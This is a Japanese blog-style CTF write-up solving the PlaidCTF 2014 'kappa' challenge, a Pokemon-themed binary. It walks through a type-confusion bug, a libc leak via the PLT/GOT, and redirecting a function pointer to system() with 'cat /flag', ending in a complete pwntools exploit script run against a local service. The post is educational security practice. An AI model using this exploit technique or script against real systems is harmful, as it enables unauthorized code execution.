newbieからバイナリアンへ

newbieからバイナリアンへ

コンピュータ初心者からバイナリアンを目指す大学生日記

【pwn 9.4】 kappa - PlaidCTF2014

 

 

 

 

0: 参考

github.com




1: イントロ

batalistのmedium easy問題

Plaid CTF 2014の "kappa" を解いていく




2: 表層解析

./kappa: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.26, BuildID[sha1]=2e0e9cd69dfa9cbc9ae857f9e67fa33bc04b1a24, stripped
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

 

ghidraで解析したところmain()のswitch分岐のところでLow-level errorというあまり見たことのないエラーで解析がだいぶミスっていた

 

まぁそれはいいとしてstrippedな上に割とめんどくさいプログラムで

特に構造体のメンバをはっきりさせるのに苦労した

あとlogicalなバグの他に、誤字もあったりして解析していて複雑な気分になったりした

 

 

 

簡単なbinary patching

このプログラムにはsleep()をする場所がいくつかあり解析する上で非常に邪魔である

Ghidraにもbinary patchingの機能はついているが、プログラムのロード時にELF形式ではなくBinary形式としてロードする必要がある上

それによって出力されるバイナリは実行するとセグフォが起きる

(噂によるとヘッダーを書き間違えてるとかなんとか)

 

というわけでbinary patchingにはradare2を用いる

方法は以下の通り

wataru@niveapc:~/Documents/CTF/kappa$ r2 -N -w ./kappa_nosleep 
[0x08048df4]> s 0x8048df5
[0x08048df5]> pd 1
            0x08048df5      c70424010000.  mov dword [esp], 1
[0x08048df5]> wa mov dword [esp], 0
Written 7 byte(s) (mov dword [esp], 0) = wx c7042400000000
[0x08048df5]> pd 1
            0x08048df5      c70424000000.  mov dword [esp], 0
[0x080492d7]> quit

 

ロード時にはデスク上のイメージを読み込むためのフラグ-N

イメージへの書き込みを許可する-wフラグをつける必要がある

waの時点で書き込みは完了しているため出力等のコマンドは打たずにquitすればよい

修正後のプログラムを動かしてみると、無事sleep()なしで快適にデバッグすることができた

Ghidra、がんばれよ





3: プログラムの概要とデータ構造

プログラムの概要

Choose an Option:
1. Go into the Grass
2. Heal your Pokemon
3. Inpect your Pokemon
4. Release a Pokemon
5. Change Pokemon artwork

 

上のようにポケモンのような選択肢が与えられる

 

1:Go into the Grass

草むらに入って2回に一回コクーン(Kakuna)と、d回に一回リザードン(Charizard)と遭遇する

先頭に入ると攻撃/モンスターボール/逃げ出すの選択肢があり

相手の体力が0x15未満だと捕まえることができる

 

2:Heal your Pokemon

ポケセンに行ってポケモンの体力を回復することができる

このゲームにポケモンピジョット(Bird Jesus)/コクーン/リザードンしか出てこないがそれぞれ体力の上限が決まっており、その値まで手持ちポケモンの体力を回復する

 

3:Inspect your Pokemon

ポケモンのステータスを見ることができる

後述するが各ポケモンは自身のイラストをアスキーアート(artwork)として保持しておりそれも表示される

 

4:Release a Pokemon

手持ちポケモンを逃がす

1番目のポケモン(Bird Jesus)は逃がすことができない

最大でピジョットも含めて5体まで保持できる

 

5:Change Pokemon artwork

ポケモンのイラストを表すアスキーアートを入力値で変更できる

文字数は前のアスキーアートと同じ長さまで可能




データ構造

3種類のポケモンそれぞれが異なる構造体で表現される

struct pokemon_xxx{
char name[60];
char artwork[456/ 2108/ 1456]; //コクーン/ リザードン/ ピジョット
int hp;
int attack;
char **skillname_ptr;
void *show_status_func;
}

各構造体ごとにartworkのサイズだけが異なっている

また、hpには現在の体力、attackには決められた攻撃力、skillname_ptrには技名文字列へのアドレス、show_status_funcには自身のステータスを表示する関数ポインタが入っている

上述の3:Inspect...では各ポケモンごとにこの関数ポインタをたどることでステータスを表示している

 

ポケモンは.bss領域の配列の中に入っている

しかしそれだけではその構造体がどのポケモンを表しているのかがわからないため

別途int型配列を用意し、各構造体のポケモンID(リザードン1,コクーン2,ピジョット3)だけを記録している

struct pokemon pokemons[5];
int IDs[5];





4: 脆弱性

無限増殖バグ

ポケモンに不思議なアメを持たせておく

バトルフロンティアに行き右側のパソコンにポケモンを預ける

パソコンを離れる際にセーブをするが、その途中でGB本体の電源をぶち消しする

再び電源を入れると手持ちとパソコンの両方にポケモンが入っている

 

ってこれはポケットモンスターエメラルドの無限増殖バグだった




これほどではないがこのプログラムにも増殖バグがある

4:Release...でピジョット以外のポケモンを逃がすことができるのだが

ix番目のポケモンを逃がすとしたらpokemons[i] = pokemons[i+1] (i>=ix)という処理をしている

すなわちコクーン1体と引き換えに一番最後のポケモンが増殖することになる

 

残念ながらこのバグは今回は利用しない




ポケモン逃がすからそういうことになるんだ

本命の脆弱性は4:Releaseではない部分のポケモンを逃がす処理にある

1:Go...で新しいポケモンを捕まえたが手持ちがいっぱいのときにもポケモンを逃がすことができる

その処理が以下なのだが

 

    free((&pokemons)[your_choice]);
    (&pokemons)[your_choice] = enemy_pokemon;
    return;

 

IDsの更新を忘れてしまっている

即ち新しくリザードンを捕まえても、手持ちにもともといたポケモンコクーンならば

それ以降リザードンコクーンとして扱ってしまうことになる

 

コレのまずいところは3:Inspect...にある

前述したようにステータスの表示は各構造体のshow_status_funcポインタの関数を呼び出して行っているのだが

コクーン構造体のshow_status_funcメンバに相当するオフセットはリザードン構造体のartworkに相当する

しかもこのartworkの中身は5:Change...で自由に書き換えることができる

 

つまり任意のアドレスにジャンプすることができる





5:libc baseのリーク

どこにでもジャンプできるようになったからあとはどこにジャンプするかだ

leakする選択肢としてはlibc baseかheap baseのどちらかがまっさきに挙がる

 

先程の構造体の読み違えによってskillname_ptrも任意の値にすることができる

skillname_ptrはchar**ゆえこの値をlibcのアドレスを指すポインタを指すポインタのアドレスにすればlibcのアドレスを知ることができる

 

うーん、libcを指す既知のアドレスにあるポインタのポインタなんてあったかなぁ。。。







あ、GOT/PLTだ

PLTのjmp命令の下バイトにはGOTのアドレスが入っている

よってPLTのアドレスで参照剥がしするとGOTのアドレスが出てくる

GOTのアドレスを参照剥がしするとlibcのアドレスが出てくる

丁度いいものがないか探してみると。。。

GOT protection: No RELRO | GOT functions: 14
 
[0x804aeb4] read@GLIBC_2.0 -> 0xf7dd6cb0 (read) ◂— push   esi
[0x804aeb8] printf@GLIBC_2.0 -> 0xf7d412d0 (printf) ◂— call   0xf7e27379
[0x804aebc] free@GLIBC_2.0 -> 0xf7d6b250 (free) ◂— push   edi
[0x804aec0] memcpy@GLIBC_2.0 -> 0xf7e32750 (__memcpy_ssse3) ◂— push   ebx
[0x804aec4] getchar@GLIBC_2.0 -> 0xf7d5e240 (getchar) ◂— push   ebp
[0x804aec8] sleep@GLIBC_2.0 -> 0xf7daf030 (sleep) ◂— push   ebp
[0x804aecc] strcpy@GLIBC_2.0 -> 0xf7d763d0 (__strcpy_ssse3) ◂— mov    edx, dword ptr [esp + 4]
[0x804aed0] malloc@GLIBC_2.0 -> 0xf7d6ac30 (malloc) ◂— push   ebp
[0x804aed4] puts@GLIBC_2.0 -> 0xf7d57b40 (puts) ◂— push   ebp
[0x804aed8] __gmon_start__ -> 0x80485a6 (__gmon_start__@plt+6) ◂— push   0x48 /* 'hH' */
[0x804aedc] exit@GLIBC_2.0 -> 0x80485b6 (exit@plt+6) ◂— push   0x50 /* 'hP' */
[0x804aee0] strlen@GLIBC_2.0 -> 0xf7d762a0 (__strlen_sse2_bsf) ◂— push   esi
[0x804aee4] __libc_start_main@GLIBC_2.0 -> 0xf7d08d90 (__libc_start_main) ◂— call   0xf7e27379
[0x804aee8] setvbuf@GLIBC_2.0 -> 0xf7d582b0 (setvbuf) ◂— push   ebp
pwndbg> plt
0x8048510: read@plt
0x8048520: printf@plt
0x8048530: free@plt
0x8048540: memcpy@plt
0x8048550: getchar@plt
0x8048560: sleep@plt
0x8048570: strcpy@plt
0x8048580: malloc@plt
0x8048590: puts@plt
0x80485a0: __gmon_start__@plt
0x80485b0: exit@plt
0x80485c0: strlen@plt
0x80485d0: __libc_start_main@plt
0x80485e0: setvbuf@plt
pwndbg> x/30wx 0x8048510
0x8048510 <read@plt>:	0xaeb425ff	0x00680804	0xe9000000	0xffffffe0
0x8048520 <printf@plt>:	0xaeb825ff	0x08680804	0xe9000000	0xffffffd0
0x8048530 <free@plt>:	0xaebc25ff	0x10680804	0xe9000000	0xffffffc0
0x8048540 <memcpy@plt>:	0xaec025ff	0x18680804	0xe9000000	0xffffffb0
0x8048550 <getchar@plt>:	0xaec425ff	0x20680804	0xe9000000	0xffffffa0
0x8048560 <sleep@plt>:	0xaec825ff	0x28680804	0xe9000000	0xffffff90
0x8048570 <strcpy@plt>:	0xaecc25ff	0x30680804	0xe9000000	0xffffff80
0x8048580 <malloc@plt>:	0xaed025ff	0x38680804

 

はい、大文字にしたところにprintf()のGOTが現れている

 

これでlibc_baseがleakできたから

show_status_func()へのポインタをsystem()に変えれば終了

その際の第一引数はpokemonのアドレスであり、pokemon構造体の先頭には名前が入っているから名前を cat /flagにしてしまえば終わり






5: exploit

#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys

FILENAME = "./kappa_nosleep"

rhp2 = {'host':"localhost",'port':12300}
context(os='linux',arch='i386')
binf = ELF(FILENAME)

grass_counter = 0
diff_artwork = 2108-456 #the difference of size of artwork between Rizadon and Kokun
pokemons_addr = 0x804bfac
main_addr = 0x8049284
len_artwork_rizadon = 0x850
len_artwork_kokun = 0x210 - 60
show_status_func_pidget = 0x80487dc
show_status_func_kokun = 0x8048766
offset_printf = 0x512d0
offset_system = 0x3d200

def go_grass(conn,name="AAA",no_kokun=False):
  global grass_counter
  grass_counter += 1
  conn.sendline("1")
  if(grass_counter%0xd==0): #get Rizadon (we can capture him by attacking four times)
    for i in range(4):
      conn.sendline("1")
    conn.sendline("2")
    conn.recvuntil("Pokemon?\n")
    conn.send(name)
    return
  if(grass_counter%2==0): #get kokun (we can capture him without attack)
    if(no_kokun==True):
      conn.sendline("3")
      return
    else:
      conn.sendline("2")
      conn.recvuntil("Pokemon?\n")
      conn.send(name)
      return
  return #get nothing

def get_kokun(conn,name="AAA"):
  if(grass_counter%2==1):
    go_grass(conn,name)
  else:
    go_grass(conn,name)
    go_grass(conn,name)

def get_rizadon(conn,name="AAA"):
  while((grass_counter+1)%0xd!=0):
    go_grass(conn,name,no_kokun=True)
  go_grass(conn,name)

def release(conn,ix):
  conn.sendline("4")
  conn.sendline(str(ix))

def edit_artwork(conn,ix,artwork):
  conn.sendline("5")
  sleep(0.2)
  conn.sendline(str(ix))
  sleep(0.2)
  conn.send(artwork+"A"*(len_artwork_rizadon - len(artwork)))

def exploit(conn):
  #get four kokuns
  for i in range(4):
    get_kokun(conn,"AAAAA")
  #get rizadon @2 (it'd be regarded as kokun)
  get_rizadon(conn,"X"*8)
  sleep(0.2)
  conn.sendline("2")
  sleep(0.2)

  #edit artwork of newly captured Rizadon (regarded as kokun)
  payload = "A" * (len_artwork_kokun+0x21)
  payload += p32(0xfff) #hp
  payload += p32(0xeee) #attack
  payload += p32(binf.plt["printf"]+2) #skillname_ptr
  payload += p32(show_status_func_kokun) #show_status_func
  edit_artwork(conn,2,payload)

  #leak libc base
  sleep(0.2)
  conn.sendline("3")
  conn.recvuntil("Attack: ")
  conn.recvuntil("Attack: ")
  printf_addr = unpack(conn.recv(4))
  print("[+]printf: "+hex(printf_addr))
  libc_base = printf_addr - offset_printf
  print("[+]libc_base: "+hex(libc_base))
  system_addr = libc_base + offset_system
  print("[+]system: "+hex(system_addr))


  #clean up and regenerate
  for i in reversed(range(1,6)):
    release(conn,i)

  for i in range(4):
    get_kokun(conn,"CCCC")
  get_rizadon(conn,"cat /flag") #it'd be the first argument of system()
  sleep(0.2)
  conn.sendline("2")
  sleep(0.2)

  #jump
  payload = "A" * (len_artwork_kokun+0x21)
  payload += p32(0xfff) #hp
  payload += p32(0xeee) #attack
  payload += p32(0xbbb) #skillname_ptr
  payload += p32(libc_base + offset_system)
  edit_artwork(conn,2,payload)
  conn.sendline("3")



if len(sys.argv)>1:
  if sys.argv[1][0]=="d":
    cmd = """
      set follow-fork-mode parent
    """
    conn = gdb.debug(FILENAME,cmd)
  elif sys.argv[1][0]=="r":
    conn = remote(rhp1["host"],rhp1["port"])
else:
    conn = remote(rhp2['host'],rhp2['port'])
exploit(conn)
conn.interactive()

 





6: 結果

Current Health: 920
Attack Power: 20
Attack: Gust
FLAG={thi5_i5_t35t_f1ag}
Name: CCCC
     _.---._
   .'       '.
  /           \
 / /'-.   .-'\ \
 '.`"""` `"""`.'
  /'-._   _.-'\
 /_.--\`-`/--._\
 ;    |'-'|    ;
 |  .'/ | \'.  |
 |  | \ | / |  |
  \  \/\|/\/  /
   \_/  _  \_/
    |-'` `'-|
    |.-"""-.|
    \ .---. /
     '._ _.'
        `

Current Health: 20
Attack Power: 1
Attack: Tackle
Name: CCCC
     _.---._
   .'       '.
  /           \
 / /'-.   .-'\ \
 '.`"""` `"""`.'
  /'-._   _.-'\
 /_.--\`-`/--._\
 ;    |'-'|    ;
 |  .'/ | \'.  |
 |  | \ | / |  |
  \  \/\|/\/  /
   \_/  _  \_/
    |-'` `'-|
    |.-"""-.|
    \ .---. /
     '._ _.'
        `

Current Health: 20
Attack Power: 1
Attack: Tackle
Name: CCCC
     _.---._
   .'       '.
  /           \
 / /'-.   .-'\ \
 '.`"""` `"""`.'
  /'-._   _.-'\
 /_.--\`-`/--._\
 ;    |'-'|    ;
 |  .'/ | \'.  |
 |  | \ | / |  |
  \  \/\|/\/  /
   \_/  _  \_/
    |-'` `'-|
    |.-"""-.|
    \ .---. /
     '._ _.'
        `






7: アウトロ

ピジョットってBird Jesusって呼ばれてるんだね。。。




体調が優れないから明日のSECCONはパス!!

 

 

 

 

続く